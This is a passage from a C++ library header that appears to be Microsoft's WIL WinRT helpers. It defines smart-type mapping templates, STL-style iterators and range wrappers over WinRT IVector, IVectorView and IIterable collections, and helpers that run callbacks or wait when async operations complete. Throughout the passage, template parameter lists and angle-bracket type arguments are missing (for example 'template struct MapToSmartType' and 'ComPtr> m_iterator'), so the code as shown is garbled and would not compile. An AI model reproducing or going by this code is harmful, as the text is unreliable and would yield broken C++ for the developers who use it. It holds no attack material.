PROPVARIANT) that has not specialized is used.\n //\n // One fix is to use std::is_enum to cover that case and leave the base definition undefined.\n // That base should use static_assert to inform clients how to fix the lack of specialization.\n template struct MapToSmartType\n {\n #pragma warning(push)\n #pragma warning(disable:4702) // https://github.com/Microsoft/wil/issues/2\n struct type // T holder\n {\n type() {};\n type(T&& value) : m_value(wistd::forward(value)) {};\n operator T() const { return m_value; }\n type& operator=(T&& value) { m_value = wistd::forward(value); return *this; }\n T Get() const { return m_value; }\n\n // Returning T&& to support move only types\n // In case of absense of T::operator=(T&&) a call to T::operator=(const T&) will happen\n T&& Get() { return wistd::move(m_value); }\n\n HRESULT CopyTo(T* result) const { *result = m_value; return S_OK; }\n T* GetAddressOf() { return &m_value; }\n T* ReleaseAndGetAddressOf() { return &m_value; }\n T* operator&() { return &m_value; }\n T m_value{};\n };\n #pragma warning(pop)\n };\n\n // IUnknown * derived -> Microsoft::WRL::ComPtr<>\n template \n struct MapToSmartType::type>::value>::type>\n {\n typedef Microsoft::WRL::ComPtr::type> type;\n };\n\n // HSTRING -> Microsoft::WRL::Wrappers::HString\n template <> struct MapToSmartType\n {\n class HStringWithRelease : public Microsoft::WRL::Wrappers::HString\n {\n public:\n // Unlike all other WRL types HString does not have ReleaseAndGetAddressOf and\n // GetAddressOf() has non-standard behavior, calling Release().\n HSTRING* ReleaseAndGetAddressOf() WI_NOEXCEPT\n {\n Release();\n return &hstr_;\n }\n };\n typedef HStringWithRelease type;\n };\n\n // WinRT interfaces like IVector<>, IAsyncOperation<> and IIterable<> can be templated\n // on a runtime class (instead of an interface or primitive type). In these cases the objects\n // produced by those interfaces implement an interface defined by the runtime class default interface.\n //\n // These templates deduce the type of the produced interface or pass through\n // the type unmodified in the non runtime class case.\n //\n // for example:\n // IAsyncOperation -> IAsyncOperation\n\n // For IVector, IVectorView.\n template struct MapVectorResultType\n {\n template\n static TResult PeekGetAtType(HRESULT(STDMETHODCALLTYPE TVector::*)(unsigned, TResult*));\n typedef decltype(PeekGetAtType(&VectorType::GetAt)) type;\n };\n\n // For IIterator.\n template struct MapIteratorResultType\n {\n template\n static TResult PeekCurrentType(HRESULT(STDMETHODCALLTYPE TIterable::*)(TResult*));\n typedef decltype(PeekCurrentType(&ABI::Windows::Foundation::Collections::IIterator::get_Current)) type;\n };\n\n // For IAsyncOperation.\n template struct MapAsyncOpResultType\n {\n template\n static TResult PeekGetResultsType(HRESULT(STDMETHODCALLTYPE TAsyncOperation::*)(TResult*));\n typedef decltype(PeekGetResultsType(&ABI::Windows::Foundation::IAsyncOperation::GetResults)) type;\n };\n\n // For IAsyncOperationWithProgress.\n template struct MapAsyncOpProgressResultType\n {\n template\n static TResult PeekGetResultsType(HRESULT(STDMETHODCALLTYPE TAsyncOperation::*)(TResult*));\n typedef decltype(PeekGetResultsType(&ABI::Windows::Foundation::IAsyncOperationWithProgress::GetResults)) type;\n };\n\n // No support for IAsyncActionWithProgress

none of these (currently) use\n // a runtime class for the progress type.\n }\n /// @endcond\n#pragma region C++ iterators for WinRT collections for use with range based for and STL algorithms\n\n /** Range base for and STL algorithms support for WinRT ABI collection types, IVector, IVectorView, IIterable\n similar to support provided by for C++ CX. Three error handling policies are supported.\n ~~~\n ComPtr collection = GetCollection(); // can be IVector, IVectorView or IIterable\n\n for (auto const& element : wil::get_range(collection.Get())) // exceptions\n for (auto const& element : wil::get_range_nothrow(collection.Get(), &hr)) // error code\n for (auto const& element : wil::get_range_failfast(collection.Get())) // fail fast\n {\n // use element\n }\n ~~~\n Standard algorithm example:\n ~~~\n ComPtr> files = GetFiles();\n auto fileRange = wil::get_range_nothrow(files.Get());\n auto itFound = std::find_if(fileRange.begin(), fileRange.end(), [](ComPtr file) -> bool\n {\n return true; // first element in range\n });\n ~~~\n */\n#pragma region exception and fail fast based IVector<>/IVectorView<>\n\n template \n class vector_range\n {\n public:\n typedef typename details::MapVectorResultType::type TResult;\n typedef typename details::MapToSmartType::type TSmart;\n\n vector_range() = delete;\n\n explicit vector_range(_In_ VectorType *vector) : m_v(vector)\n {\n }\n\n class vector_iterator\n {\n public:\n#ifdef _XUTILITY_\n // could be random_access_iterator_tag but missing some features\n typedef ::std::bidirectional_iterator_tag iterator_category;\n#endif\n typedef TSmart value_type;\n typedef ptrdiff_t difference_type;\n typedef const TSmart* pointer;\n typedef const TSmart& reference;\n\n // for begin()\n vector_iterator(VectorType* v, unsigned int pos)\n : m_v(v), m_i(pos)\n {\n }\n\n // for end()\n vector_iterator() : m_v(nullptr), m_i(-1) {}\n\n vector_iterator(const vector_iterator& other)\n {\n m_v = other.m_v;\n m_i = other.m_i;\n err_policy::HResult(other.m_element.CopyTo(m_element.GetAddressOf()));\n }\n\n vector_iterator& operator=(const vector_iterator& other)\n {\n if (this != wistd::addressof(other))\n {\n m_v = other.m_v;\n m_i = other.m_i;\n err_policy::HResult(other.m_element.CopyTo(m_element.ReleaseAndGetAddressOf()));\n }\n return *this;\n }\n\n reference operator*()\n {\n err_policy::HResult(m_v->GetAt(m_i, m_element.ReleaseAndGetAddressOf()));\n return m_element;\n }\n\n pointer operator->()\n {\n err_policy::HResult(m_v->GetAt(m_i, m_element.ReleaseAndGetAddressOf()));\n return wistd::addressof(m_element);\n }\n\n vector_iterator& operator++()\n {\n ++m_i;\n return *this;\n }\n\n vector_iterator& operator--()\n {\n --m_i;\n return *this;\n }\n\n vector_iterator operator++(int)\n {\n vector_iterator old(*this);\n ++*this;\n return old;\n }\n\n vector_iterator operator--(int)\n {\n vector_iterator old(*this);\n --*this;\n return old;\n }\n\n vector_iterator& operator+=(int n)\n {\n m_i += n;\n return *this;\n }\n\n vector_iterator& operator-=(int n)\n {\n m_i -= n;\n return *this;\n }\n\n vector_iterator operator+(int n) const\n {\n vector_iterator ret(*this);\n ret += n;\n return ret;\n }\n\n vector_iterator operator-(int n) const\n {\n vector_iterator ret(*this);\n ret -= n;\n return ret;\n }\n\n ptrdiff_t operator-(const vector_iterator& other) const\n {\n return m_i - other.m_i;\n }\n\n bool operator==(const vector_iterator& other) const\n {\n return m_i == other.m_i;\n }\n\n bool operator!=(const vector_iterator& other) const\n {\n return m_i != other.m_i;\n }\n\n bool operator<(const vector_iterator& other) const\n {\n return m_i < other.m_i;\n }\n\n bool operator>(const vector_iterator& other) const\n {\n return m_i > other.m_i;\n }\n\n bool operator<=(const vector_iterator& other) const\n {\n return m_i <= other.m_i;\n }\n\n bool operator>=(const vector_iterator& other) const\n {\n return m_i >= other.m_i;\n }\n\n private:\n VectorType* m_v; // weak, collection must outlive iterators.\n unsigned int m_i;\n TSmart m_element;\n };\n\n vector_iterator begin()\n {\n return vector_iterator(m_v, 0);\n }\n\n vector_iterator end()\n {\n unsigned int size;\n err_policy::HResult(m_v->get_Size(&size));\n return vector_iterator(m_v, size);\n }\n private:\n VectorType* m_v; // weak, collection must outlive iterators.\n };\n#pragma endregion\n\n#pragma region error code based IVector<>/IVectorView<>\n\n template \n class vector_range_nothrow\n {\n public:\n typedef typename details::MapVectorResultType::type TResult;\n typedef typename details::MapToSmartType::type TSmart;\n\n vector_range_nothrow() = delete;\n vector_range_nothrow(const vector_range_nothrow&) = delete;\n vector_range_nothrow& operator=(const vector_range_nothrow&) = delete;\n\n vector_range_nothrow(vector_range_nothrow&& other) :\n m_v(other.m_v), m_size(other.m_size), m_result(other.m_result), m_resultStorage(other.m_resultStorage),\n m_currentElement(wistd::move(other.m_currentElement))\n {\n }\n\n vector_range_nothrow(_In_ VectorType *vector, HRESULT* result = nullptr)\n : m_v(vector), m_result(result ? result : &m_resultStorage)\n {\n *m_result = m_v->get_Size(&m_size);\n }\n\n class vector_iterator_nothrow\n {\n public:\n#ifdef _XUTILITY_\n // must be input_iterator_tag as use (via ++, --, etc.) of one invalidates the other.\n typedef ::std::input_iterator_tag iterator_category;\n#endif\n typedef TSmart value_type;\n typedef ptrdiff_t difference_type;\n typedef const TSmart* pointer;\n typedef const TSmart& reference;\n\n vector_iterator_nothrow() = delete;\n vector_iterator_nothrow(vector_range_nothrow* range, unsigned int pos)\n : m_range(range), m_i(pos)\n {\n }\n\n reference operator*() const\n {\n return m_range->m_currentElement;\n }\n\n pointer operator->() const\n {\n return wistd::addressof(m_range->m_currentElement);\n }\n\n vector_iterator_nothrow& operator++()\n {\n ++m_i;\n m_range->get_at_current(m_i);\n return *this;\n }\n\n vector_iterator_nothrow& operator--()\n {\n --m_i;\n m_range->get_at_current(m_i);\n return *this;\n }\n\n vector_iterator_nothrow operator++(int)\n {\n vector_iterator_nothrow old(*this);\n ++*this;\n return old;\n }\n\n vector_iterator_nothrow operator--(int)\n {\n vector_iterator_nothrow old(*this);\n --*this;\n return old;\n }\n\n vector_iterator_nothrow& operator+=(int n)\n {\n m_i += n;\n m_range->get_at_current(m_i);\n return *this;\n }\n\n vector_iterator_nothrow& operator-=(int n)\n {\n m_i -= n;\n m_range->get_at_current(m_i);\n return *this;\n }\n\n bool operator==(vector_iterator_nothrow const& other) const\n {\n return FAILED(*m_range->m_result) || (m_i == other.m_i);\n }\n\n bool operator!=(vector_iterator_nothrow const& other) const\n {\n return !operator==(other);\n }\n\n private:\n vector_range_nothrow* m_range;\n unsigned int m_i = 0;\n };\n\n vector_iterator_nothrow begin()\n {\n get_at_current(0);\n return vector_iterator_nothrow(this, 0);\n }\n\n vector_iterator_nothrow end()\n {\n return vector_iterator_nothrow(this, m_size);\n }\n\n // Note, the error code is observed in operator!= and operator==, it always\n // returns \"equal\" in the failed state to force the compare to the end\n // iterator to return false and stop the loop.\n //\n // Is this ok for the general case?\n void get_at_current(unsigned int i)\n {\n if (SUCCEEDED(*m_result) && (i < m_size))\n {\n *m_result = m_v->GetAt(i, m_currentElement.ReleaseAndGetAddressOf());\n }\n }\n\n private:\n VectorType* m_v; // weak, collection must outlive iterators.\n unsigned int m_size;\n\n // This state is shared by vector_iterator_nothrow instances. this means\n // use of one iterator invalidates the other.\n HRESULT* m_result;\n HRESULT m_resultStorage = S_OK; // for the case where the caller does not provide the location to store the result\n TSmart m_currentElement;\n };\n\n#pragma endregion\n\n#pragma region exception and fail fast based IIterable<>\n\n template \n class iterable_range\n {\n public:\n typedef typename details::MapIteratorResultType::type TResult;\n typedef typename details::MapToSmartType::type TSmart;\n\n explicit iterable_range(_In_ ABI::Windows::Foundation::Collections::IIterable* iterable)\n : m_iterable(iterable)\n {\n }\n\n class iterable_iterator\n {\n public:\n#ifdef _XUTILITY_\n typedef ::std::forward_iterator_tag iterator_category;\n#endif\n typedef TSmart value_type;\n typedef ptrdiff_t difference_type;\n typedef const TSmart* pointer;\n typedef const TSmart& reference;\n\n iterable_iterator() : m_i(-1) {}\n\n // for begin()\n explicit iterable_iterator(_In_ ABI::Windows::Foundation::Collections::IIterable* iterable)\n {\n err_policy::HResult(iterable->First(&m_iterator));\n boolean hasCurrent;\n err_policy::HResult(m_iterator->get_HasCurrent(&hasCurrent));\n m_i = hasCurrent ? 0 : -1;\n }\n\n // for end()\n iterable_iterator(int /*currentIndex*/) : m_i(-1)\n {\n }\n\n iterable_iterator(const iterable_iterator& other)\n {\n m_iterator = other.m_iterator;\n m_i = other.m_i;\n err_policy::HResult(other.m_element.CopyTo(m_element.GetAddressOf()));\n }\n\n iterable_iterator& operator=(const iterable_iterator& other)\n {\n m_iterator = other.m_iterator;\n m_i = other.m_i;\n err_policy::HResult(other.m_element.CopyTo(m_element.ReleaseAndGetAddressOf()));\n return *this;\n }\n\n bool operator==(iterable_iterator const& other) const\n {\n return m_i == other.m_i;\n }\n\n bool operator!=(iterable_iterator const& other) const\n {\n return !operator==(other);\n }\n\n reference operator*()\n {\n err_policy::HResult(m_iterator->get_Current(m_element.ReleaseAndGetAddressOf()));\n return m_element;\n }\n\n pointer operator->()\n {\n err_policy::HResult(m_iterator->get_Current(m_element.ReleaseAndGetAddressOf()));\n return wistd::addressof(m_element);\n }\n\n iterable_iterator& operator++()\n {\n boolean hasCurrent;\n err_policy::HResult(m_iterator->MoveNext(&hasCurrent));\n if (hasCurrent)\n {\n m_i++;\n }\n else\n {\n m_i = -1;\n }\n return *this;\n }\n\n iterable_iterator operator++(int)\n {\n iterable_iterator old(*this);\n ++*this;\n return old;\n }\n\n private:\n Microsoft::WRL::ComPtr> m_iterator;\n int m_i;\n TSmart m_element;\n };\n\n iterable_iterator begin()\n {\n return iterable_iterator(m_iterable);\n }\n\n iterable_iterator end()\n {\n return iterable_iterator();\n }\n private:\n // weak, collection must outlive iterators.\n ABI::Windows::Foundation::Collections::IIterable* m_iterable;\n };\n#pragma endregion\n\n#pragma region error code base IIterable<>\n template \n class iterable_range_nothrow\n {\n public:\n typedef typename details::MapIteratorResultType::type TResult;\n typedef typename details::MapToSmartType::type TSmart;\n\n iterable_range_nothrow() = delete;\n iterable_range_nothrow(const iterable_range_nothrow&) = delete;\n iterable_range_nothrow& operator=(const iterable_range_nothrow&) = delete;\n iterable_range_nothrow& operator=(iterable_range_nothrow &&) = delete;\n\n iterable_range_nothrow(iterable_range_nothrow&& other) :\n m_iterator(wistd::move(other.m_iterator)), m_element(wistd::move(other.m_element)),\n m_resultStorage(other.m_resultStorage)\n {\n if (other.m_result == &other.m_resultStorage)\n {\n m_result = &m_resultStorage;\n }\n else\n {\n m_result = other.m_result;\n }\n }\n\n iterable_range_nothrow(_In_ ABI::Windows::Foundation::Collections::IIterable* iterable, HRESULT* result = nullptr)\n : m_result(result ? result : &m_resultStorage)\n {\n *m_result = iterable->First(&m_iterator);\n if (SUCCEEDED(*m_result))\n {\n boolean hasCurrent;\n *m_result = m_iterator->get_HasCurrent(&hasCurrent);\n if (SUCCEEDED(*m_result) && hasCurrent)\n {\n *m_result = m_iterator->get_Current(m_element.ReleaseAndGetAddressOf());\n if (FAILED(*m_result))\n {\n m_iterator = nullptr; // release the iterator if no elements are found\n }\n }\n else\n {\n m_iterator = nullptr; // release the iterator if no elements are found\n }\n }\n }\n\n class iterable_iterator_nothrow\n {\n public:\n#ifdef _XUTILITY_\n // muse be input_iterator_tag as use of one instance invalidates the other.\n typedef ::std::input_iterator_tag iterator_category;\n#endif\n typedef TSmart value_type;\n typedef ptrdiff_t difference_type;\n typedef const TSmart* pointer;\n typedef const TSmart& reference;\n\n iterable_iterator_nothrow(_In_ iterable_range_nothrow* range, int currentIndex) :\n m_range(range), m_i(currentIndex)\n {\n }\n\n bool operator==(iterable_iterator_nothrow const& other) const\n {\n return FAILED(*m_range->m_result) || (m_i == other.m_i);\n }\n\n bool operator!=(iterable_iterator_nothrow const& other) const\n {\n return !operator==(other);\n }\n\n reference operator*() const WI_NOEXCEPT\n {\n return m_range->m_element;\n }\n\n pointer operator->() const WI_NOEXCEPT\n {\n return wistd::addressof(m_range->m_element);\n }\n\n iterable_iterator_nothrow& operator++()\n {\n boolean hasCurrent;\n *m_range->m_result = m_range->m_iterator->MoveNext(&hasCurrent);\n if (SUCCEEDED(*m_range->m_result) && hasCurrent)\n {\n *m_range->m_result = m_range->m_iterator->get_Current(m_range->m_element.ReleaseAndGetAddressOf());\n if (SUCCEEDED(*m_range->m_result))\n {\n m_i++;\n }\n else\n {\n m_i = -1;\n }\n }\n else\n {\n m_i = -1;\n }\n return *this;\n }\n\n iterable_range_nothrow operator++(int)\n {\n iterable_range_nothrow old(*this);\n ++*this;\n return old;\n }\n\n private:\n iterable_range_nothrow* m_range;\n int m_i;\n };\n\n iterable_iterator_nothrow begin()\n {\n return iterable_iterator_nothrow(this, this->m_iterator ? 0 : -1);\n }\n\n iterable_iterator_nothrow end()\n {\n return iterable_iterator_nothrow(this, -1);\n }\n\n private:\n Microsoft::WRL::ComPtr> m_iterator;\n // This state is shared by all iterator instances\n // so use of one iterator can invalidate another's ability to dereference\n // that is allowed for input iterators.\n TSmart m_element;\n HRESULT* m_result;\n HRESULT m_resultStorage = S_OK;\n };\n\n#pragma endregion\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n template vector_range> get_range(ABI::Windows::Foundation::Collections::IVector *v)\n {\n return vector_range>(v);\n }\n\n template vector_range> get_range(ABI::Windows::Foundation::Collections::IVectorView *v)\n {\n return vector_range>(v);\n }\n#endif // WIL_ENABLE_EXCEPTIONS\n\n template vector_range, err_failfast_policy> get_range_failfast(ABI::Windows::Foundation::Collections::IVector *v)\n {\n return vector_range, err_failfast_policy>(v);\n }\n\n template vector_range, err_failfast_policy> get_range_failfast(ABI::Windows::Foundation::Collections::IVectorView *v)\n {\n return vector_range, err_failfast_policy>(v);\n }\n\n template vector_range_nothrow> get_range_nothrow(ABI::Windows::Foundation::Collections::IVector *v, HRESULT* result = nullptr)\n {\n return vector_range_nothrow>(v, result);\n }\n\n template vector_range_nothrow> get_range_nothrow(ABI::Windows::Foundation::Collections::IVectorView *v, HRESULT* result = nullptr)\n {\n return vector_range_nothrow>(v, result);\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n template iterable_range get_range(ABI::Windows::Foundation::Collections::IIterable *v)\n {\n return iterable_range(v);\n }\n#endif // WIL_ENABLE_EXCEPTIONS\n\n template iterable_range get_range_failfast(ABI::Windows::Foundation::Collections::IIterable *v)\n {\n return iterable_range(v);\n }\n\n template iterable_range_nothrow get_range_nothrow(ABI::Windows::Foundation::Collections::IIterable *v, HRESULT* result = nullptr)\n {\n return iterable_range_nothrow(v, result);\n }\n}\n\n#pragma endregion\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n\n#pragma region Global operator functions\n#if defined(MIDL_NS_PREFIX) || defined(____x_ABI_CWindows_CFoundation_CIClosable_FWD_DEFINED__)\nnamespace ABI {\n#endif\n namespace Windows {\n namespace Foundation {\n namespace Collections {\n template typename wil::vector_range>::vector_iterator begin(IVector* v)\n {\n return typename wil::vector_range>::vector_iterator(v, 0);\n }\n\n template typename wil::vector_range>::vector_iterator end(IVector* v)\n {\n unsigned int size;\n THROW_IF_FAILED(v->get_Size(&size));\n return typename wil::vector_range>::vector_iterator(v, size);\n }\n\n template typename wil::vector_range>::vector_iterator begin(IVectorView* v)\n {\n return typename wil::vector_range>::vector_iterator(v, 0);\n }\n\n template typename wil::vector_range>::vector_iterator end(IVectorView* v)\n {\n unsigned int size;\n THROW_IF_FAILED(v->get_Size(&size));\n return typename wil::vector_range>::vector_iterator(v, size);\n }\n\n template typename wil::iterable_range::iterable_iterator begin(IIterable* i)\n {\n return typename wil::iterable_range::iterable_iterator(i);\n }\n\n template typename wil::iterable_range::iterable_iterator end(IIterable*)\n {\n return typename wil::iterable_range::iterable_iterator();\n }\n } // namespace Collections\n } // namespace Foundation\n } // namespace Windows\n#if defined(MIDL_NS_PREFIX) || defined(____x_ABI_CWindows_CFoundation_CIClosable_FWD_DEFINED__)\n} // namespace ABI\n#endif\n\n#endif // WIL_ENABLE_EXCEPTIONS\n\n#pragma endregion\n\nnamespace wil\n{\n#pragma region WinRT Async API helpers\n\n/// @cond\nnamespace details\n{\n template ::value, int>::type = 0>\n HRESULT CallAndHandleErrorsWithReturnType(TFunc&& func, Args&&... args)\n {\n return wistd::forward(func)(wistd::forward(args)...);\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n template ::value, int>::type = 0>\n HRESULT CallAndHandleErrorsWithReturnType(TFunc&& func, Args&&... args)\n {\n try\n {\n wistd::forward(func)(wistd::forward(args)...);\n }\n CATCH_RETURN();\n return S_OK;\n }\n#endif\n\n template \n HRESULT CallAndHandleErrors(TFunc&& func, Args&&... args)\n {\n return CallAndHandleErrorsWithReturnType(func)(wistd::forward(args)...))>(\n wistd::forward(func), wistd::forward(args)...);\n }\n\n // Get the last type of a template parameter pack.\n // usage:\n // LastType::type boolValue;\n template struct LastType\n {\n template struct LastTypeOfTs\n {\n typedef typename LastTypeOfTs::type type;\n };\n\n template struct LastTypeOfTs\n {\n typedef T type;\n };\n\n template\n static typename LastTypeOfTs::type LastTypeOfTsFunc() {}\n typedef decltype(LastTypeOfTsFunc()) type;\n };\n\n // Takes a member function that has an out param like F(..., IAsyncAction**) or F(..., IAsyncOperation**)\n // and returns IAsyncAction* or IAsyncOperation*.\n template\n typename wistd::remove_pointer::type>::type GetReturnParamPointerType(HRESULT(STDMETHODCALLTYPE I::*)(P...));\n\n // Use to determine the result type of the async action/operation interfaces or example\n // decltype(GetAsyncResultType(action.get())) returns void\n void GetAsyncResultType(ABI::Windows::Foundation::IAsyncAction*);\n template void GetAsyncResultType(ABI::Windows::Foundation::IAsyncActionWithProgress

*);\n template typename wil::details::MapAsyncOpResultType::type GetAsyncResultType(ABI::Windows::Foundation::IAsyncOperation*);\n template typename wil::details::MapAsyncOpProgressResultType::type GetAsyncResultType(ABI::Windows::Foundation::IAsyncOperationWithProgress*);\n\n // Use to determine the result type of the async action/operation interfaces or example\n // decltype(GetAsyncDelegateType(action.get())) returns void\n ABI::Windows::Foundation::IAsyncActionCompletedHandler* GetAsyncDelegateType(ABI::Windows::Foundation::IAsyncAction*);\n template ABI::Windows::Foundation::IAsyncActionWithProgressCompletedHandler

* GetAsyncDelegateType(ABI::Windows::Foundation::IAsyncActionWithProgress

*);\n template ABI::Windows::Foundation::IAsyncOperationCompletedHandler* GetAsyncDelegateType(ABI::Windows::Foundation::IAsyncOperation*);\n template ABI::Windows::Foundation::IAsyncOperationWithProgressCompletedHandler* GetAsyncDelegateType(ABI::Windows::Foundation::IAsyncOperationWithProgress*);\n\n template \n HRESULT RunWhenCompleteAction(_In_ TIOperation operation, TFunction&& func) WI_NOEXCEPT\n {\n using namespace Microsoft::WRL;\n typedef wistd::remove_pointer_t TIDelegate;\n\n auto callback = Callback, TIDelegate, TBaseAgility>>(\n [func = wistd::forward(func)](TIOperation operation, ABI::Windows::Foundation::AsyncStatus status) mutable -> HRESULT\n {\n HRESULT hr = S_OK;\n if (status != ABI::Windows::Foundation::AsyncStatus::Completed) // avoid a potentially costly marshaled QI / call if we completed successfully\n {\n ComPtr asyncInfo;\n operation->QueryInterface(IID_PPV_ARGS(&asyncInfo)); // All must implement IAsyncInfo\n asyncInfo->get_ErrorCode(&hr);\n }\n\n return CallAndHandleErrors(func, hr);\n });\n RETURN_IF_NULL_ALLOC(callback);\n return operation->put_Completed(callback.Get());\n }\n\n template \n HRESULT RunWhenComplete(_In_ TIOperation operation, TFunction&& func) WI_NOEXCEPT\n {\n using namespace Microsoft::WRL;\n using namespace ABI::Windows::Foundation::Internal;\n\n typedef wistd::remove_pointer_t TIDelegate;\n\n auto callback = Callback, TIDelegate, TBaseAgility>>(\n [func = wistd::forward(func)](TIOperation operation, ABI::Windows::Foundation::AsyncStatus status) mutable -> HRESULT\n {\n typename details::MapToSmartType::type::TResult_complex>::type>::type result;\n\n HRESULT hr = S_OK;\n if (status == ABI::Windows::Foundation::AsyncStatus::Completed)\n {\n hr = operation->GetResults(result.GetAddressOf());\n }\n else\n {\n // avoid a potentially costly marshaled QI / call if we completed successfully\n ComPtr asyncInfo;\n operation->QueryInterface(IID_PPV_ARGS(&asyncInfo)); // all must implement this\n asyncInfo->get_ErrorCode(&hr);\n }\n\n return CallAndHandleErrors(func, hr, result.Get());\n });\n RETURN_IF_NULL_ALLOC(callback);\n return operation->put_Completed(callback.Get());\n }\n\n#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM)\n template \n HRESULT WaitForCompletion(_In_ TIOperation operation, COWAIT_FLAGS flags, DWORD timeoutValue, _Out_opt_ bool* timedOut) WI_NOEXCEPT\n {\n typedef wistd::remove_pointer_t TIDelegate;\n\n class CompletionDelegate : public Microsoft::WRL::RuntimeClass,\n TIDelegate, Microsoft::WRL::FtmBase>\n {\n public:\n HRESULT RuntimeClassInitialize()\n {\n RETURN_HR(m_completedEventHandle.create());\n }\n\n HRESULT STDMETHODCALLTYPE Invoke(_In_ TIOperation, ABI::Windows::Foundation::AsyncStatus status) override\n {\n m_status = status;\n m_completedEventHandle.SetEvent();\n return S_OK;\n }\n\n HANDLE GetEvent() const\n {\n return m_completedEventHandle.get();\n }\n\n ABI::Windows::Foundation::AsyncStatus GetStatus() const\n {\n return m_status;\n }\n\n private:\n volatile ABI::Windows::Foundation::AsyncStatus m_status = ABI::Windows::Foundation::AsyncStatus::Started;\n wil::unique_event_nothrow m_completedEventHandle;\n };\n\n WI_ASSERT(timedOut || (timeoutValue == INFINITE));\n assign_to_opt_param(timedOut, false);\n\n Microsoft::WRL::ComPtr completedDelegate;\n RETURN_IF_FAILED(Microsoft::WRL::MakeAndInitialize(&completedDelegate));\n RETURN_IF_FAILED(operation->put_Completed(completedDelegate.Get()));\n\n HANDLE handles[] = { completedDelegate->GetEvent() };\n DWORD dwHandleIndex;\n HRESULT hr = CoWaitForMultipleHandles(flags, timeoutValue, ARRAYSIZE(handles), handles, &dwHandleIndex);\n\n // If the caller is listening for timedOut, and we actually timed out, set the bool and return S_OK. Otherwise, fail.\n if (timedOut && (hr == RPC_S_CALLPENDING))\n {\n *timedOut = true;\n return S_OK;\n }\n RETURN_IF_FAILED(hr);\n\n if (completedDelegate->GetStatus() != ABI::Windows::Foundation::AsyncStatus::Completed)\n {\n Microsoft::WRL::ComPtr asyncInfo;\n operation->QueryInterface(IID_PPV_ARGS(&asyncInfo)); // all must implement this\n hr = E_UNEXPECTED;\n asyncInfo->get_ErrorCode(&hr); // error return ignored, ok?\n return hr; // leave it to the caller to log failures.\n }\n return S_OK;\n }\n\n template \n HRESULT WaitForCompletion(_In_ TIOperation operation, _Out_ TIResults result, COWAIT_FLAGS flags,\n DWORD timeoutValue, _Out_opt_ bool* timedOut) WI_NOEXCEPT\n {\n RETURN_IF_FAILED_EXPECTED(details::WaitForCompletion(operation, flags, timeoutValue, timedOut));\n return operation->GetResults(result);\n }\n#endif // WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM)\n}\n/// @endcond\n\n/** Set the completion callback for an async operation to run a caller provided function.\nOnce complete the function is called with the error code result of the operation\nand the async operation result (if applicable).\nThe function parameter list must be (HRESULT hr) for actions,\n(HRESULT hr, IResultInterface* object) for operations that produce interfaces,\nand (HRESULT hr, TResult value) for operations that produce value types.\n~~~\nrun_when_complete(getFileOp.Get(), [](HRESULT hr, IStorageFile* file) -> void\n{\n\n});\n~~~\nfor an agile callback use Microsoft::WRL::FtmBase\n~~~\nrun_when_complete(getFileOp.Get(), [](HRESULT hr, IStorageFile* file) -> void\n{\n\n});\n~~~\nUsing the non throwing form:\n~~~\nhr = run_when_complete_nothrow(getFileOp.Get(), [](HRESULT hr, IStorageFile* file) -> HRESULT\n{\n\n});\n~~~\n*/\n\n//! Run a fuction when an async operation completes. Use Microsoft::WRL::FtmBase for TAgility to make the completion handler agile and run on the async thread.\ntemplate\nHRESULT run_when_complete_nothrow(_In_ ABI::Windows::Foundation::IAsyncAction* operation, TFunc&& func) WI_NOEXCEPT\n{\n return details::RunWhenCompleteAction(operation, wistd::forward(func));\n}\n\ntemplate::type>\nHRESULT run_when_complete_nothrow(_In_ ABI::Windows::Foundation::IAsyncOperation* operation, TFunc&& func) WI_NOEXCEPT\n{\n return details::RunWhenComplete(operation, wistd::forward(func));\n}\n\ntemplate::type>\nHRESULT run_when_complete_nothrow(_In_ ABI::Windows::Foundation::IAsyncOperationWithProgress* operation, TFunc&& func) WI_NOEXCEPT\n{\n return details::RunWhenComplete(operation, wistd::forward(func));\n}\n\ntemplate\nHRESULT run_when_complete_nothrow(_In_ ABI::Windows::Foundation::IAsyncActionWithProgress* operation, TFunc&& func) WI_NOEXCEPT\n{\n return details::RunWhenCompleteAction(operation, wistd::forward(func));\n}\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n//! Run a fuction when an async operation completes. Use Microsoft::WRL::FtmBase for TAgility to make the completion handler agile and run on the async thread.\ntemplate\nvoid run_when_complete(_In_ ABI::Windows::Foundation::IAsyncAction* operation, TFunc&& func)\n{\n THROW_IF_FAILED((details::RunWhenCompleteAction(operation, wistd::forward(func))));\n}\n\ntemplate::type>\nvoid run_when_complete(_In_ ABI::Windows::Foundation::IAsyncOperation* operation, TFunc&& func)\n{\n THROW_IF_FAILED((details::RunWhenComplete(operation, wistd::forward(func))));\n}\n\ntemplate::type>\nvoid run_when_complete(_In_ ABI::Windows::Foundation::IAsyncOperationWithProgress* operation, TFunc&& func)\n{\n THROW_IF_FAILED((details::RunWhenComplete(operation, wistd::forward(func))));\n}\n\ntemplate\nvoid run_when_complete(_In_ ABI::Windows::Foundation::IAsyncActionWithProgress* operation, TFunc&& func)\n{\n THROW_IF_FAILED((details::RunWhenCompleteAction(operation, wistd::forward(func))));\n}\n#endif\n\n#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM)\n/** Wait for an asynchronous operation to complete (or be canceled).\nUse to synchronously wait on async operations on background threads.\nDo not call from UI threads or STA threads as reentrancy will result.\n~~~\nComPtr> op;\nTHROW_IF_FAILED(storageFileStatics->GetFileFromPathAsync(HStringReference(path).Get(), &op));\nauto file = wil::wait_for_completion(op.Get());\n~~~\n*/\ntemplate \ninline HRESULT wait_for_completion_nothrow(_In_ TAsync* operation, COWAIT_FLAGS flags = COWAIT_DISPATCH_CALLS) WI_NOEXCEPT\n{\n return details::WaitForCompletion(operation, flags, INFINITE, nullptr);\n}\n\n// These forms return the result from the async operation\n\ntemplate \nHRESULT wait_for_completion_nothrow(_In_ ABI::Windows::Foundation::IAsyncOperation* operation,\n _Out_ typename wil::details::MapAsyncOpResultType::type* result,\n COWAIT_FLAGS flags = COWAIT_DISPATCH_CALLS) WI_NOEXCEPT\n{\n return details::WaitForCompletion(operation, result, flags, INFINITE, nullptr);\n}\n\ntemplate \nHRESULT wait_for_completion_nothrow(_In_ 